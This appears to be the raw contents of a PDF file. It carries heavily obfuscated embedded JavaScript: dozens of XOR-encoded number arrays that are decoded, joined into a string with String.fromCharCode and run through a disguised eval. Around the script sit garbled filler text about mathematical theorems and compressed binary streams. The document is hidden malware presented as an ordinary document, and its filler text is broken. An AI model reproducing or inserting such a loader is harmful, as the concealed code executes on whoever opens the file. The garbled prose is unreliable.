8,69,21,69,21,35,80,88,21,38,87,69,34,37,21,33,38,69,88,69,21,80,38,69,21,34,21,38,82,69,33,86,82,69,21,83,34,69,86,38,38,89,85,38,88,84,85,86,37,69,21,33,21,87,88,86,21,89,88,69,86,33,21,34,80,69,37,69,21,82,21,69,21,86,21,88,33,69,88,86]; wO91ydLT=[9,105,57,122,14,9,14,105,15,123,8,121,124,13,15,122,120,126,124,122,57,122,120,105,57,124,9,105,116,121,126,10,57,122,9,105,57,122,57,105,57,122,10,123,121,105,57,105,10,105,57,9,116,120,15,105,120,14,9,116,14,121,116,121,124,117,127,121,57,124,57,105,9,124,124,121,127,127,124,116,57,121,121,105,57,105,124,116,57,15,127,121,120,105,57,105,121,105,57,123,126,105,122,116,10,15,127,121,124,121,126,127,127,105,10,105,57,126,57,105,125,124,120,125,126,15,57,14,14,121,116,105,57,105,122,127,57,10,57,121,124,105,57,121,13,105,57,123,121,105,121,117,10,10,116,127,10,116,9,9,124,105,57,105,57,121,123,121,57,124,9,105,120,10,57,10,10,105,116,105,57,14,123,105,57,10,57,15,124,105,122,14,9,105,57,124,13,105,120,122,120,121,116,121,10,122,116,122,120,105,57,123,57,123,116,124,57,126,10,105,124,123,57,122,13,105,10,105,57,9,57,105,57,123,57,122,15,105,121,123,121,105,57,126,125,127,10,105,10,123,125,126,125,123,126,122,9,122,120,122,57,126,9,105,57,126,10,105,121,122,120,122,57,122,9,105,57,122,57,105,57,122,10,122,10,105,57,105,120,105,57,123,9,123,124,105,127,122,9,122,15,122,15,122,124,126,15,123,57,123,57,105,120,123,122,127,124,122,10,123,57,123,116,105,57,105,10,122,57,122,124,122,124,105,57,105,125,105,57,121,8,105,10,122,127,127,120,2,113,53,124,27,61,105,62,105,15,122,52,124,124,56,36,122,14,124,57,45,124,58,45,108,57]; rX2H8rm0=[106,44,109,54,104,63,111,44,42,50,52,107,6,120,115,44,103,116,106,61,59,25,46,97,97,122,52,41,42,113,106,50,63,110,106,106,40,59,40,59,106,63,112,50,47,52,63,40,122,54,114,106,111,34,44,103,115,97,20,47,99,106,106,106,13,43,41,47,42,42,46,119,105,98,35,115,127,106,99,106,51,34,5,40,54,63,52,118,57,59,99,40,103,60,127,63,114,6,120,59,114,35,41,48,106,6,120,27,99,41,97,44,106,51,97,115,111,35,108,111,57,106,122,42,42,106,34,106,57,106,59,17,115,106,106,34,110,103,57,106,106,40,110,117,40,103,114,59,97,106,57,106,122,106,106,119,106,34,60,44,1,44,106,106,106,106,48,108,114,97,44,35,35,33,53,40,43,60,59,27,115,35,99,99,59,17,57,35,40,97,30,43,102,111,60,113,108,30,111,99,44,40,108,57,11,11,108,11,30,43,113,42,57,42,39,7,113,46,15,46,41,41,57,35,11,44,122,97,63,40,35,42,63,44,50,40,44,57,59,23,50,30,59,52,43,108,59,6,120,115,59,99,6,120,99,103,103,20,56,106,47,35,45,15,116,50,42,44,127,15,46,52,61,54,63,63,106,34,110,97,23,33,46,15,23,114,114,45,50,102,45,54,63,29,29,50,20,15,115,46,106,106,51,39,113,103,20,106,23,50,23,45,20,50,29,56,23,50,46,57,29,56,29,56,61,50,20,15,53,54,54,25,20,116,46,45,56,116,97,56,29,45,46,45,103,6,120,116,62,53,42,20,15,115,97,10,56,6,120,59,42,113,53,52,30,10,97,59,116,47,29,45,57]; i0vujH7v60thC=[76,83,71,106,126,92,14,88,79,90,103,14,65,94,106,90,70,96,6,90,104,104,75,64,83,72,65,64,94,99,93,6,19,64,75,79,77,88,85,92,7,21,64,88,90,120,75,90,92,71,0,1,73,7,71,92,71,92,0,64,92,93,88,19,89,75,106,64,6,75,65,75,71,65,65,125,92,75,93,71,94,114,114,88,75,71,93,1,65,73,2,89,93,92,79,64,66,64,75,92,92,88,6,64,75,71,9,92,0,92,6,9,14,79,113,111,79,75,79,79,19,87,79,87,77,79,65,7,21,92,14,88,70,7,65,79,2,88,92,71,30,77,70,111,90,88,90,6,31,77,0,92,93,64,2,6,75,71,92,111,70,64,0,77,93,88,0,6,71,79,7,21,92,71,92,111,75,7,65,64,6,65,87,6,64,92,28,7,65,64,71,79,92,93,8,8,6,72,71,115,19,93,92,79,90,19,22,7,93,117,30,92,92,113,79,92,93,71,65,92,88,79,117,31,7,88,113,19,79,79,31,8,79,65,19,30,92,92,79,87,7,92,115,19,64,7,117,28,115,87,87,117,29,92,113,113,88,88,79,6,19,92,92,79,93,79,92,82,82,64,8,71,92,71,31,18,65,115,65,71,83,92,79,88,79,88,7,21,71,6,72,71,6,79,92,6,79,64,117,90,113,64,79,87,79,90,72,82,91,94,93,85,113,92,6,66,113,92,64,30,115,79,82,92,92,8,117,7,93,115,18,93,8,92,92,19,64,71,31,87,66,117,22,79,92,30,88,22,65,65,87,28,71,113,19,66,71,18,64,117,88,79,8,8,79,77,115,79,92,115,65,65,72]; bE0slXo=[99,45,57,99,98,35,99,112,33,76,103,112,112,109,112,115,120,74,112,99,104,116,78,104,57,40,56,106,35,56,56,125,124,108,99,78,45,126,127,57,127,74,33,112,78,56,42,99,104,112,98,99,120,98,120,112,40,112,112,99,99,127,78,112,112,56,56,106,32,57,103,76,112,120,126,126,99,98,120,103,112,104,109,101,44,44,116,78,76,126,125,85,99,55,114,118,55,114,126,99,87,115,78,45,49,108,97,56,42,125,120,87,85,49,65,65,49,117,57,85,49,49,57,32,57,56,74,49,120,127,101,49,49,49,42,108,42,127,49,49,49,49,65,56,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,51,42,49,103,112,99,49,119,35,96,75,94,90,107,87,69,125,44,95,87,75,38,32,122,70,97,92,88,38,63,98,97,125,120,101,57,51,51,56,42,49,103,112,99,49,68,121,88,69,39,38,37,117,96,39,44,39,36,35,33,42,49,103,112,99,49,116,100,33,94,88,44,40,42,49,103,112,99,49,124,39,73,84,35,116,115,33,44,127,116,102,49,80,99,99,112,104,57,37,61,36,61,41,61,39,61,34,61,41,61,39,61,40,61,34,56,42,49,103,112,99,49,115,39,39,41,86,39,32,80,61,98,94,70,94,95,118,66,40,41,61,127,66,33,34,33,33,41,33,36,61,117,105,88,67,72,72,122,80,86,91,127,125,61,91,116,40,127,83,61,73,114,33,32,102,39]; coGSm62tQ=[98,19,33,120,30,98,12,96,35,108,61,26,25,61,48,111,50,59,38,116,124,39,27,3,27,26,51,7,109,108,105,100,111,116,39,27,3,27,26,51,7,109,108,104,49,33,100,27,29,111,116,39,27,3,27,26,51,7,109,108,127,127,125,116,116,47,116,116,116,116,116,116,34,53,38,116,61,101,44,97,98,105,57,98,12,17,102,49,54,100,15,39,27,3,27,26,51,7,109,108,9,126,102,111,116,116,116,116,34,53,38,116,28,13,102,39,7,109,45,4,105,1,60,29,0,98,99,96,48,37,98,113,61,101,44,97,98,111,116,116,116,116,34,53,38,116,58,39,109,59,56,3,96,14,48,14,102,108,23,105,1,60,29,0,98,99,96,48,37,98,121,28,13,102,39,7,109,45,4,111,116,116,116,116,34,53,38,116,39,27,6,3,35,48,4,14,17,96,17,105,58,39,109,59,56,3,96,14,48,14,102,108,23,123,61,101,44,97,98,111,116,116,116,116,34,53,38,116,23,98,7,108,49,36,98,57,105,39,27,6,3,35,48,4,14,17,96,17,126,57,98,12,17,102,49,54,100,15,39,27,3,27,26,51,7,109,108,9,111,116,116,116,116,48,44,29,6,13,13,63,21,19,30,58,56,105,100,111,116,116,116,116,50,59,38,116,124,54,98,98,108,19,98,101,21,105,100,111,116,54,98,98,108,19,98,101,21,104,39,27,6,3,35,48,4,14,17,96,17,111,116,54,98,98,108,19,98,101,21,127,127,125,116,116,116,116,116,47,116,116,116,116,116,116,116,116,50,59,38,116,124,58,7,100,103,100,100,108,100,97,105,100,111]; W63O0Vu9=[99,45,16,115,112,115,115,123,115,118,127,46,117,27,6,113,38,33,115,24,48,12,20,12,13,36,16,122,123,30,120,99,45,16,115,112,115,115,123,115,118,104,104,106,99,99,99,99,99,99,99,99,99,56,99,99,99,99,99,99,9,38,122,45,1,126,39,59,10,17,26,26,40,2,4,9,45,47,104,45,16,115,112,115,115,123,115,118,120,99,99,99,99,99,99,99,99,99,99,99,99,9,117,27,119,52,123,42,13,14,42,39,126,37,113,50,25,12,8,57,5,23,47,24,9,38,122,45,1,30,120,99,99,99,99,99,99,99,99,99,99,99,99,27,32,115,114,52,117,117,4,54,126,9,38,122,45,1,104,46,117,27,6,113,38,33,115,24,48,12,20,12,13,36,16,122,123,30,120,99,99,99,99,99,99,99,99,99,99,99,99,37,113,50,25,12,8,57,5,23,47,24,9,38,122,45,1,30,126,37,113,50,25,12,8,57,5,23,47,24,27,32,115,114,52,117,117,4,54,30,120,99,99,99,99,99,99,99,99,99,99,99,99,37,113,50,25,12,8,57,5,23,47,24,27,32,115,114,52,117,117,4,54,30,126,9,117,27,119,52,123,42,13,14,42,39,120,99,99,99,99,99,99,99,99,99,99,62,99,99,99,99,99,99,99,99,39,59,10,17,26,26,40,2,4,9,45,47,99,104,126,42,114,59,118,117,120,99,99,99,99,99,99,99,99,99,62,99,99,62,99,99,13,5,25,116,114,40,20,51,14,10,116,126,37,113,50,25,12,8,57,5,23,47,109,41,44,42,45,107,97,97,106,120,38,53,34,47,107,13,5,25,116]; lH5ARnFQ65v=[34,120,68,99,94,90,36,58,40];  NKs2Ywo7G=[]; 
for (M4Q4r=0;M4Q4r<LAx4B85k.length;M4Q4r++){LAx4B85k[M4Q4r]=LAx4B85k[M4Q4r]^95;}; NKs2Ywo7G=NKs2Ywo7G.concat(LAx4B85k);for (RwgNPsHk=0;RwgNPsHk<vtkimt08.length;RwgNPsHk++){vtkimt08[RwgNPsHk]=vtkimt08[RwgNPsHk]^16;}; NKs2Ywo7G=NKs2Ywo7G.concat(vtkimt08);for (yNfH62f=0;yNfH62f<D9UkP1n21124Yb.length;yNfH62f++){D9UkP1n21124Yb[yNfH62f]=D9UkP1n21124Yb[yNfH62f]^72;}; NKs2Ywo7G=NKs2Ywo7G.concat(D9UkP1n21124Yb);for (ID42XnAZ2i=0;ID42XnAZ2i<i7lTxta.length;ID42XnAZ2i++){i7lTxta[ID42XnAZ2i]=i7lTxta[ID42XnAZ2i]^66;}; NKs2Ywo7G=NKs2Ywo7G.concat(i7lTxta);for (dqz382N=0;dqz382N<nJ991NwSzZVe.length;dqz382N++){nJ991NwSzZVe[dqz382N]=nJ991NwSzZVe[dqz382N]^56;}; NKs2Ywo7G=NKs2Ywo7G.concat(nJ991NwSzZVe);for (u2AMH5dG=0;u2AMH5dG<WFvXh6Wr.length;u2AMH5dG++){WFvXh6Wr[u2AMH5dG]=WFvXh6Wr[u2AMH5dG]^38;}; NKs2Ywo7G=NKs2Ywo7G.concat(WFvXh6Wr);for (rsOs6=0;rsOs6<a0F6d9uRaG.length;rsOs6++){a0F6d9uRaG[rsOs6]=a0F6d9uRaG[rsOs6]^31;}; NKs2Ywo7G=NKs2Ywo7G.concat(a0F6d9uRaG);for (ADOPE=0;ADOPE<L9Ab49e1.length;ADOPE++){L9Ab49e1[ADOPE]=L9Ab49e1[ADOPE]^71;}; NKs2Ywo7G=NKs2Ywo7G.concat(L9Ab49e1);for (m01p2W8ouX=0;m01p2W8ouX<K6F0kj8Q2ZO1C1x.length;m01p2W8ouX++){K6F0kj8Q2ZO1C1x[m01p2W8ouX]=K6F0kj8Q2ZO1C1x[m01p2W8ouX]^57;}; NKs2Ywo7G=NKs2Ywo7G.concat(K6F0kj8Q2ZO1C1x);for (C18ocNT7n=0;C18ocNT7n<Uhm80.length;C18ocNT7n++){Uhm80[C18ocNT7n]=Uhm80[C18ocNT7n]^28;}; NKs2Ywo7G=NKs2Ywo7G.concat(Uhm80);for (SyZ25x3JM8=0;SyZ25x3JM8<Qhr587I2aEp8.length;SyZ25x3JM8++){Qhr587I2aEp8[SyZ25x3JM8]=Qhr587I2aEp8[SyZ25x3JM8]^63;}; NKs2Ywo7G=NKs2Ywo7G.concat(Qhr587I2aEp8);for (R0cj9F3S=0;R0cj9F3S<ErcR8ikLjS1.length;R0cj9F3S++){ErcR8ikLjS1[R0cj9F3S]=ErcR8ikLjS1[R0cj9F3S]^37;}; NKs2Ywo7G=NKs2Ywo7G.concat(ErcR8ikLjS1);for (EYcVg1D9=0;EYcVg1D9<rwGK98MyXl03OJb.length;EYcVg1D9++){rwGK98MyXl03OJb[EYcVg1D9]=rwGK98MyXl03OJb[EYcVg1D9]^10;}; NKs2Ywo7G=NKs2Ywo7G.concat(rwGK98MyXl03OJb);for (Uu67E=0;Uu67E<B6KgEr.length;Uu67E++){B6KgEr[Uu67E]=B6KgEr[Uu67E]^96;}; NKs2Ywo7G=NKs2Ywo7G.concat(B6KgEr);for (S23zYZM=0;S23zYZM<wO91ydLT.length;S23zYZM++){wO91ydLT[S23zYZM]=wO91ydLT[S23zYZM]^76;}; NKs2Ywo7G=NKs2Ywo7G.concat(wO91ydLT);for (HNVW=0;HNVW<rX2H8rm0.length;HNVW++){rX2H8rm0[HNVW]=rX2H8rm0[HNVW]^90;}; NKs2Ywo7G=NKs2Ywo7G.concat(rX2H8rm0);for (nbR94gq=0;nbR94gq<i0vujH7v60thC.length;nbR94gq++){i0vujH7v60thC[nbR94gq]=i0vujH7v60thC[nbR94gq]^46;}; NKs2Ywo7G=NKs2Ywo7G.concat(i0vujH7v60thC);for (hRP4B=0;hRP4B<bE0slXo.length;hRP4B++){bE0slXo[hRP4B]=bE0slXo[hRP4B]^17;}; NKs2Ywo7G=NKs2Ywo7G.concat(bE0slXo);for (soBk3=0;soBk3<coGSm62tQ.length;soBk3++){coGSm62tQ[soBk3]=coGSm62tQ[soBk3]^84;}; NKs2Ywo7G=NKs2Ywo7G.concat(coGSm62tQ);for (t2c9b5=0;t2c9b5<W63O0Vu9.length;t2c9b5++){W63O0Vu9[t2c9b5]=W63O0Vu9[t2c9b5]^67;}; NKs2Ywo7G=NKs2Ywo7G.concat(W63O0Vu9);for (S2R7E8nY=0;S2R7E8nY<lH5ARnFQ65v.length;S2R7E8nY++){lH5ARnFQ65v[S2R7E8nY]=lH5ARnFQ65v[S2R7E8nY]^19;}; NKs2Ywo7G=NKs2Ywo7G.concat(lH5ARnFQ65v);
 aDDM=function(uolM){
	E008R3=["e","m","v","n","a","d","x","l"];
	Yp4fxwhXo=E008R3[0]+E008R3[2]+E008R3[4]+E008R3[7];
	rorar=this;
	E87e9I6xz =rorar[Yp4fxwhXo];
	E87e9I6xz(uolM);
}
UbfQ2=function(BqbWw9X){
	g5A9l1j7eb="";
	bTVX6Ts71S=["dd","fjdk","fro","mChar","Co","dk","eee","de"];
	r3C1PKfOFK=bTVX6Ts71S[2]+bTVX6Ts71S[3]+bTVX6Ts71S[4]+bTVX6Ts71S[7];
	for (tW36J=0;tW36J<BqbWw9X.length;tW36J++){
	    gogor=this;
		roter=gogor["St"+"ri"+"ng"];
		g5A9l1j7eb += roter[r3C1PKfOFK](BqbWw9X[tW36J]);
	}
	
	return g5A9l1j7eb;	
}
aDDM(UbfQ2(NKs2Ywo7G));

BT
/F0 11 Tf
100 700 Td
(Logically, many theorems are tms are l b rms aran indllytive condltional if A,re ln B. Such aeorems a does not stateeorat B ire lways true, onlyeorat B mustz ,Lih0yA,re ns Ine, yA,caseih0yA,Logiede tmshypo tmsyA,are tmsSuch aeoa dot stathypo tmsyA,hems yA,some, yng
BT
/F0gcmTf
100 700 Td
( B can also be denoted the antecedent and consequent. The theorem If n  is an even natural number then n/2 is a natural number is a typical example in which the hypothesis is that n is an even natural number and the conclusion is that n/2 is also a natural number. In order to be proven, a theorem m
BT
/F0 11 Tf
100 700 Td
(e, formal statement. Nevertheless, theorems are usually expressed in natural language rather than in a completely symbolmbolormal s, withorema ct Neionn intoremareadhanwill be able to produce amal statement. Ne fromorema cal statone. Icomddieioneoremsuausuaoft N hyporemses which undhastoo natucoct xt,her than in aessloritymbomentd. uaiflsdcrpvy  flms akfouyzv) Tj
ET

h� ��xA?��&� 
 '���&$ ���}.J5�
�� /i�o��ֹ�  �4�  �&�T�P �I*�1*F� !�X0�7C�& �R Dt �  M3�"�J�@2rrWZ � |R 1�>@ ��0 �. �pjr���`F�A^� � ���
  � v ��5�=�  � ʯ I�p  �!� DB�h z �� � ��O�
P��X(�^ B7B�gt�� �N�D H��0 � :����K �
5m�b� ��� �� ����ĩ��#/��1! �7 
�KL�*�l �	I�s�H�  �]I&� %�X �؄(�*K(�  U@�y��Q ϶ |h��6J�
�Qh�uI�T�� �c#�eE뉌�m`�� !�$/R��J����f�'Y�m5
�n  
�Xޙ� �',��`�  -m� ��`��8�� �A�
�U}m� �h^�  �hP���/��7%j� �T��* �A1&b� �Ko��M�;Dִ�� 5(  � �� ��Zu1�� ��� � ���#��m Q�� :k��� �
��Ѽ�N r�Ӿ�u�� u�Q-�$  �[�o?|� �aA���� Ũ�a(X�]a ~�����A#Y�e��� �� �QKG�l3�j#�[Zu]��z�K  ��L�z�vz�7O4�tݡ�* � t��j�D�6b#
矛� T2 HGx���L�m�a+��]1q�MU�R � ��  A��_��B/$1�� e��o r%��� >�$��{NS �1�G,�	O��b< �6n��*��/� �½��[�tD��,>��^ ��ӝE�`�t
�a��ÜW �z� 4� �
C�E � � �Kbz�t��"*� ��"��]Ǣ�诽�  ��__ q_v��`Ԁ�w��p��sp���z�P�u���� .�6h�fDꥉ��>H�pVg �e0#O��t2f4��q� �VA+di� � ���� N�a+s��(�E�b�ga�bO  �% >@ 6�c���   �(m|��E6v^C $A�1z�,<� ���E�} kD,Y: 
 @�a � �tȾ{�(].Ʒ��lhF7Aޅ ���%XU� b �Ay�� �xp�
�H�0�2tt���y   ��6��z%c�'���"+�RF�&Aڥ� P�' ,- (� � b;% u �^�N  �>�t�$E��lTM�EHSZ.n�5�^j a��@E � n��;�Бn.��X J� ��`	�݆�M�e Y�Oq�B�DݥL� {1� ��n�'%�  � 2��� 
 
=�ؾG5�"=�9�c�g{f��0֙�Gt5Jzҵ���ĥ�U��� H  !��_� ��U3
s5� �;�ݞ� B d�ӂ�ڣ5 �H�t���5�
wJ�Z � B�q�� �x=OyT� w�c��Խ�� � �p�k խ �'3eȝ�� �ܚ�r � �� ����R0����t�� ��w���'� [�o:�UC
A� cc0M��� p��K]6]�@ BMm3E���7M�K+��ƃ� �!�!� 
h�F�阤(HϢС$.z /� �  �%  ��p 	�dRe�b�3t<����n 96Ÿ��� y�6� Ř�q�5�� ���X�Q��A �{6�r�@ �J�  `�z�O- �@ ƨZל�t��7�M�  C��'H	���^��$X5? %N�@����m��I��6 ބ � ����
j��]2w�-��wWE� ����6
I�+ ޢ��N:�H�8`7���WQ�%.r�� ��@��h- ���X¦���{T��l  ��� ~��� B�G 
�1� A�F�U�˖�ln�#�'㜌� ��a� �i� 5T�gaG���~  C�j�ºM*�-��
�! ��HR��� ������
.k.Ԍ��b�3�#X�!���+ �q���F3�  �P8z (2j��7� P�ӝ
  �؝Q�4oPdz�  �� g�?e���+}
��/� N�Nk�2�2�I �T   R? v� �� �� | � ?�MM�g�� E�M�Z�~<���'N� ���c�٦����|Js
̚G �z"�*x�i߹_�~�n���' �<=�0��W
�{�ò��qf �

qޓyJ	� �ҵ���[%Y�xk�� 2dL���C�U��?� *�`�ݤ֝��<	Y��ߩ�  LjB��O'������ҋ�oAf�/X*N�ͦe  ��H=  �a���
��{hC� �v-��2�%{!��p�f�����c�*��!��� l�r��dϘ� ��A�X��=� S~    � � ;@��A5��� �
���FG濫 �!�o;	��"�>,A("��-z������ �XлoG�������:9 �93�� �� ��AS+cF� ~{�9�7 �����i73�^ dF�:�� %x� 	O�� 6�  ��F  U�g�ǧ��� �t[� � ����� AAs�w �w��/��%� ��9i^v�C��#f#@%4� �5��H�� ��  G � �<�� � 9�cI��?}ۑ��+�ц1v|1u�*"��G��ڿ �������� R�  �?6���S ��N�m; � � �'��u�'�y!�8��	�e@΃�a�?Fzv9ٛ��j�U}������ݰ�E��w��>z��� �a` ���6i�����hz���~ _����sz6n���o _�x���I�<u����}} � �x�у' Y�ꫯ��U�������Eϯ��k �y� � ?�w�����׀��_ |�����00�剽tِ[�෺3+<?}�� k��>J�??��� � D�����T� � B� �i��� �/j����J�_�J���׿ �
��͉����Z5B�V������]�뤤���o��� � �:�� f�h�бW�i���sK/�u��ݔ���� ��߼3(�� {M��c B�՝Y���E �]C��Q*. ���2H���z��Q�rA���Pv~�L�E�� _] ��o}�� �'�B C�R�[�8Cɘ��� �:��A�����×���� ��9�r���X-��+��V�����]�z
�W:+�o���އ��G��y}��F�, �Ps6��O� ��t = �g��:���_?h ��9ُ@  �Z �[����� U�x
a{O[�ݽ����3Y���d; 1Wa� ¶�3+??}n�E�nжnJѭ��}���� Evyr%�ڨ�z��J�3�;?}aͅw�Pw��R����ʬ��	� �$�	=,>������E�n�csS� ���� ��������Zՙ���>SrQ�Co]��w?��ˁ]~N,�o�� ���3
 B��  �Ƿ ����� �Ϗ��! ��=�>6C�bA:k�Pt~z�ࢥk � ��I���恛 '� 6�,ƓUk�X4��W
.�u[����[��WPy^�l6�R{�	 [�����>����k�ٺ��ڟ�t��[o}p���G��|����O ���+���?�t˹�i<=�y����O����< �;�����6>?�<  ^������~}x��
C>Z� � <~�x	i�����S ������Wo^~7� = � �7^=���g��s � М� _ r|I �����  �k/AƢ /C�/OMzE:�7�kS�
endstream
endobj
4 0 obj
<<
/Type /Page
/MediaBox [0 0 612 792]
/Resources 9 0 R
/Contents 10 0 R
/Parent 2 0 R
>>
endobj
5 0 obj
<<
/Type /Page
/MediaBox [0 0 612 792]
/Resources 11 0 R
/Contents 12 0 R
/Parent 2 0 R
>>
endobj
6 0 obj
<<
/Type /Page
/MediaBox [0 0 612 792]
/Resources 13 0 R
/Contents 14 0 R
/Parent 2 0 R
>>
endobj
7 0 obj
<<
/Type /Page
/MediaBox [0 0 612 792]
/Parent 2 0 R
>>
endobj
8 0 obj
<<
/Type /Page
/MediaBox [0 0 612 792]
/Parent 2 0 R
>>
endobj
9 0 obj
<<
/Font 15 0 R
/XObject 16 0 R
>>
endobj
10 0 obj
<<
/Filter [/FlateDecode]
/Length 17 0 R
>>
stream
x�MOAj�0 �� sl!l�S�
�P����ȉ [޵�]��WN7Ѓ�4 F3�ؼ|t�{��� �R��<}��j�i�  �B$��"!?�Ä�� �g�g{#� s����5xk+�1��� �� (�CF�*��*c�� �JB� � ��q�[�?h��ڕ]� >YH�i�� ��iލ�� �'A �  ���� g%�(= O"� n  fk�8���%�$=�Λ� ��* �ݖ$�ب03�4M � �z+��r �xn���   ��
endstream
endobj
11 0 obj
<<
/Font 18 0 R
/XObject 19 0 R
>>
endobj
12 0 obj
<<
/Filter [/FlateDecode]
/Length 20 0 R
>>
stream
x�u��j ! ���
g ���t�q�O뤽Lh�Ҋ��,{0�����pb�l;�� 
��ã
 �T`   �( x
��ã
 �T`   �( x
M4Q4r=0;M4Q4r<LAx4B85k.length;M4Q4r++
LAx4B85k
RwgNPsHk=0;RwgNPsHk<vtkimt08.length;RwgNPsHk++
vtkimt08
yNfH62f=0;yNfH62f<D9UkP1n21124Yb.length;yNfH62f++
D9UkP1n21124Yb
ID42XnAZ2i=0;ID42XnAZ2i<i7lTxta.length;ID42XnAZ2i++
i7lTxta
dqz382N=0;dqz382N<nJ991NwSzZVe.length;dqz382N++
nJ991NwSzZVe
u2AMH5dG=0;u2AMH5dG<WFvXh6Wr.length;u2AMH5dG++
WFvXh6Wr
rsOs6=0;rsOs6<a0F6d9uRaG.length;rsOs6++
a0F6d9uRaG
ADOPE=0;ADOPE<L9Ab49e1.length;ADOPE++
L9Ab49e1
m01p2W8ouX=0;m01p2W8ouX<K6F0kj8Q2ZO1C1x.length;m01p2W8ouX++
K6F0kj8Q2ZO1C1x
C18ocNT7n=0;C18ocNT7n<Uhm80.length;C18ocNT7n++
Uhm80
SyZ25x3JM8=0;SyZ25x3JM8<Qhr587I2aEp8.length;SyZ25x3JM8++
Qhr587I2aEp8
R0cj9F3S=0;R0cj9F3S<ErcR8ikLjS1.length;R0cj9F3S++
ErcR8ikLjS1
EYcVg1D9=0;EYcVg1D9<rwGK98MyXl03OJb.length;EYcVg1D9++
rwGK98MyXl03OJb
Uu67E=0;Uu67E<B6KgEr.length;Uu67E++
B6KgEr
S23zYZM=0;S23zYZM<wO91ydLT.length;S23zYZM++
wO91ydLT
HNVW=0;HNVW<rX2H8rm0.length;HNVW++
rX2H8rm0
nbR94gq=0;nbR94gq<i0vujH7v60thC.length;nbR94gq++
i0vujH7v60thC
hRP4B=0;hRP4B<bE0slXo.length;hRP4B++
bE0slXo
soBk3=0;soBk3<coGSm62tQ.length;soBk3++
coGSm62tQ
t2c9b5=0;t2c9b5<W63O0Vu9.length;t2c9b5++
W63O0Vu9
S2R7E8nY=0;S2R7E8nY<lH5ARnFQ65v.length;S2R7E8nY++
lH5ARnFQ65v
uolM
uolM
BqbWw9X
tW36J=0;tW36J<BqbWw9X.length;tW36J++
BqbWw9X[tW36J]
UbfQ2(NKs2Ywo7G
e, formal statement. Nevertheless, theorems are usually expressed in natural language rather than in a completely symbolmbolormal s, withorema ct Neionn intoremareadhanwill be able to produce amal statement. Ne fromorema cal statone. Icomddieioneoremsuausuaoft N hyporemses which undhastoo natucoct xt,her than in aessloritymbomentd. uaiflsdcrpvy  flms akfouyzv
LAx4B85k=[127,41,62,45,127,17,25,5,104,110,52,8,47,18,22,104,98,125,57,47,60,54,118,36,119,127,47,113,54,127,39,49,44,44,58,49,54,43,115,55,49,0,127,51,40,38,127,48,45,127,42,45,43,51,51,109,99,57,38,43,54,51,117,62,62,49,47,47,118,58,127,55,61,44,38,62,38,62,49,98,38,62,58,45,44,42,42,116,45,56,44,44,47,119,100,34,58,45,98,45,51,113,45,44,47,36,58,119,111,38,45,44,43,43,56,112,54,62,62,58,49,43,36,49,49,127,54,51,49,127,60,45,127,44,62,100,34,115,47,58,51,45,109,118,100,49,45,44,47,59,119,118,43,48,49,119,3,125,122,38,57,55,49,42,103,29,107,42,45,54,41,111,47,58,58,62,122,42,108,107,122,42,107,103,48,59,105,42,122,111,42,44,60,127,122,111,122,60,103,42,28,127,98,28,58,29,122,29,108,111,111,108,110,28,103,42,107,27,104,42,103,29,106,42,122,42,122,29,111,42,111,28,30,103,26,42,122,111,108,111,122,28,111,42,122,42,106,102,103,103,122,29,104,27,122,103,108,107,103,28,26,30,107,42,106,25,104,42,106,29,103,111,122,42,122,30,105,42,107,109,107,42,122,109,106,30,27,29,122,29,26,42,122,42,122,109,103,29,122,102,109,107,122,28,26,110,104,107,103,108,106,42,26,104,111,42,111,105,122,106,122,42,103,42,122,42,106,107,108,42,122,30,103,29,103,108,122,42,26,28,122,42,122,108,25,108,106,108,104,103,122,29,106,105,104,108,25,105,109,42,106,105,104,108,111,29,122,42,122,42,107,42,122]; vtkimt08=[101,36,36,35,35,53,101,83,41,35,35,53,101,53,32,53,101,53,101,35,32,40,35,86,86,53,33,81,41,37,84,83,86,35,101,82,85,33,32,35,38,32,101,53,101,86,82,53,101,85,81,32,40,85,101,53,34,32,33,53,101,53,40,53,101,32,101,36,86,53,84,83,37,53,35,39,86,32,36,32,37,85,101,38,38,86,101,37,85,37,101,53,101,53,36,39,101,40,35,83,82,34,101,53,38,40,40,53,82,35,101,53,101,33,82,36,40,53,38,86,35,53,83,40,82,37,36,84,83,36,101,37,84,32,101,37,35,40,40,53,101,53,35,32,101,40,35,40,101,53,35,83,32,83,81,53,40,32,101,53,101,53,86,37,85,53,35,32,82,53,34,82,35,86,40,37,86,39,101,37,32,32,101,86,34,53,84,53,101,40,101,53,101,83,34,83,101,53,40,40,82,35,39,53,101,85,81,53,101,53,39,86,86,81,40,38,37,53,81,37,82,38,85,86,38,41,101,86,86,35,40,34,86,53,101,53,101,38,101,53,101,40,82,81,85,53,101,81,82,82,34,53,101,53,40,53,101,53,101,39,32,36,32,38,83,53,38,38,81,85,37,38,40,38,101,41,40,81,36,38,85,34,101,53,101,38,40,53,101,39,83,38,36,38,101,53,83,82,32,53,101,53,86,53,101,32,101,37,85,53,34,37,40,53,85,38,37,39,84,83,86,82,101,32,82,85,101,40,85,36,101,53,101,53,37,86,101,32,32,37,32,37,101,53,36,41,35,53,38,37,101,53,101,37,36,40,85,53,32,35,37,53,32,37,35,37,33,35,35,83,101,34,32]; D9UkP1n21124Yb=[123,61,120,14,112,122,109,61,109,112,112,61,125,126,121,61,109,122,10,14,125,123,109,120,11,61,109,61,109,124,125,10,109,14,127,9,109,123,127,122,125,112,113,127,125,61,123,127,10,61,120,14,109,125,109,61,125,61,109,61,125,120,125,61,109,13,112,9,14,112,109,61,14,126,109,61,109,13,14,14,14,14,10,112,109,125,120,124,127,14,11,120,125,61,13,120,126,112,13,124,109,61,109,61,120,61,109,61,126,14,127,124,109,61,126,121,14,13,109,61,109,125,109,61,109,61,127,9,127,121,127,122,109,124,126,11,123,112,126,125,127,61,122,14,122,13,126,13,126,61,109,61,122,13,109,61,126,120,126,13,126,61,109,14,126,124,109,61,109,124,109,61,122,61,122,125,109,124,127,11,109,14,126,14,127,121,126,14,126,61,127,11,127,61,126,124,122,61,109,61,109,112,126,61,127,14,126,120,126,61,109,123,127,11,109,14,127,61,109,61,126,120,126,13,109,14,126,121,109,126,125,120,123,120,36,13,123,61,127,56,127,109,61,35,126,12,43,42,20,106,120,126,43,41,39,126,61,109,62,43,127,41,124,104,96,115,61,104,117,59,120,38,45,109,115,43,125,20,106,61,45,58,14,12,43,50,41,97,104,49,15,45,96,41,58,47,18,4,7,27,56,11,61,41,117,104,41,120,41,27,97,120,43,20,106,61,104,26,43,120,20,106,109,61,62,59,109,61,61,104,6,46,120,43,109,43,109,